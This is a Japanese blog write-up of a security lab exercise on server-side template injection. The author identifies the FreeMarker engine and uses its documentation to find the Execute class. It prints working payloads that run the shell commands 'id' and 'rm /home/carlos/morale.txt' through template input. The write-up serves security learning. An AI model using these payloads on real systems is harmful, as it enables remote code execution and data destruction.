Shikata Ga Nai

Private? There is no such things.

Server-side template injection using documentation

Hello there, ('ω')ノ

 

ドキュメントを使用したサーバー側のテンプレートインジェクションを。

このラボは、サーバサイドのテンプレートインジェクションに対して脆弱で。

ラボを解決するには、テンプレートエンジンを特定して。

ドキュメントを使用して任意のコードを実行する方法を見つけて。

 

まずは、ログインして。

 

f:id:ThisIsOne:20210525104709p:plain

 

編集画面で、動作確認を。

 

f:id:ThisIsOne:20210525105038p:plain

 

計算式も実行されるようで。

 

f:id:ThisIsOne:20210525105258p:plain

 

適当なオブジェクトだと。

 

f:id:ThisIsOne:20210525111218p:plain

 

Internal Server Errorのみで、テンプレートがわからず。

 

f:id:ThisIsOne:20210525111256p:plain

 

とりあえず、Freemarkerテンプレートエンジンが使用されていることで。

下記のサイトで脆弱性に関連するものを調査することに。

 https://freemarker.apache.org/

 

f:id:ThisIsOne:20210525112233p:plain

 

 https://freemarker.apache.org/docs/index.html

 

f:id:ThisIsOne:20210525112507p:plain

 

 https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security

 

f:id:ThisIsOne:20210525112438p:plain

 

APIについて書かれていて。

 

f:id:ThisIsOne:20210525112648p:plain

 

また、下記のサイトにはExecute Classについて書かれていて。

どうやら任意のシェルコマンドを実行できるようで。

https://tool.oschina.net/uploads/apidocs/freemarker/freemarker/template/utility/Execute.html

 

f:id:ThisIsOne:20210525113610p:plain

 

下記のサイトには、ペイロードも紹介されていて。

 https://ackcent.com/in-depth-freemarker-template-injection/

 

f:id:ThisIsOne:20210525104549p:plain

 

下記のペイロードを挿入して動作確認を。

 <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

 

f:id:ThisIsOne:20210525111729p:plain

 

下記のペイロードを挿入して削除するとクリアできた。

 <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("rm /home/carlos/morale.txt")}

 

f:id:ThisIsOne:20210525111837p:plain

 

Best regards, (^^ゞ